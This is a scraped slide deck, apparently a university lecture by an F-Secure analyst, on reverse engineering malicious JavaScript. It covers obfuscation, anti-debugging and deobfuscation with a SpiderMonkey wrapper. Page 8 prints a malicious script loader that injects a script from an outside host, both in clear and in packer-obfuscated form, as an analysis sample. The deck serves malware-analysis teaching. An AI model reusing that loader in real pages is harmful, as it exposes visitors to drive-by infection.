reverse engineering interpreted languages - aalto · 2013. 6. 25. · examples of interpreted...

13
Reverse Engineering Interpreted Languages Karmina Aquino FSecure Corpora3on

Upload: others

Post on 18-Jan-2021

3 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

Reverse Engineering Interpreted Languages

Karmina  Aquino  F-­‐Secure  Corpora3on  

Page 2: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

Compiled vs Interpreted

0 1 0 0 1 0 0 0 0 1 0 0 1 0 0 1

aload_0 iconst_0 iconst_3 istore_2 iload_3

Page 3: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

Examples of Interpreted Languages

Page 4: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

Why Javascript?

Page 5: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

Why do malware authors use Javascript?

Cross-browser compatibility

Default HTML script language

AJAX

Supported by several applications

Page 6: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

<script>  

<iframe src ='test.js' width=0 height=0></iframe>

<!-- ***Javascript code*** --> </script>

TAGS

<script type='text/javascript'>

<script type='text/javascript' src='test.js'></script>  

Page 7: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

document.write() document.createElement()

eval()

location.reload() location.replace() location.href()

onLoad() onUnload() onSubmit()

Objects and Global Functions

Page 8: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

loadScript_YOU(); function loadScript_YOU() {

if ('https:' == document.location.protocol) return false; var s = document.createElement('script'); s.setAttribute("type","text/javascript"); s.setAttribute("src", "http://enchulafb.info/script.js"); var head=document.getElementsByTagName("head")[0]; if( head==null) return false; head.appendChild(s); return true;

}

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3();9 3(){4(\'b:\'==1.c.d)2 5;6 s=1.e(\'7\');s.8("f","g/h");s.8("i","j://k.l/7.m");6 a=1.n("o")[0];4(a==p)2 5;a.q(s);2 r}',29,29,'|document|return|loadScript_YOU|if|false|var|script|setAttribute|function||https|location|protocol|createElement|type|text|javascript|src|http|enchulafb|info|js|getElementsByTagName|head|null|appendChild|true|'.split('|'),0,{}))

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3();9 3(){4(\'b:\'==1.c.d)2 5;6 s=1.e(\'7\');s.8("f","g/h");s.8("i","j://k.l/7.m");6 a=1.n("o")[0];4(a==p)2 5;a.q(s);2 r}',29,29,'|document|return|loadScript_YOU|if|false|var|script|setAttribute|function||https|location|protocol|createElement|type|text|javascript|src|http|enchulafb|info|js|getElementsByTagName|head|null|appendChild|true|'.split('|'),0,{}))

Page 9: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

own obfuscation code

Dean Edwards /packer/

eval(function(p,a,c,k,e,d)…

anti-debugging

arguments.callee.toString() location.href document.cookie

Page 10: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility
Page 11: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

SPIDERMONKEY

document = { write:print }; eval = function(input_string) { print("eval(" + input_string + ")"); } // and so on

js.exe –f wrapper.js –f malware.js

h5ps://developer.mozilla.org/En/SpiderMonkey/Introduc3on_to_the_JavaScript_shell    

wrapper.js  

Page 12: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility
Page 13: Reverse Engineering Interpreted Languages - Aalto · 2013. 6. 25. · Examples of Interpreted Languages . Why Javascript? Why do malware authors use Javascript? Cross-browser compatibility

Real-world Scenario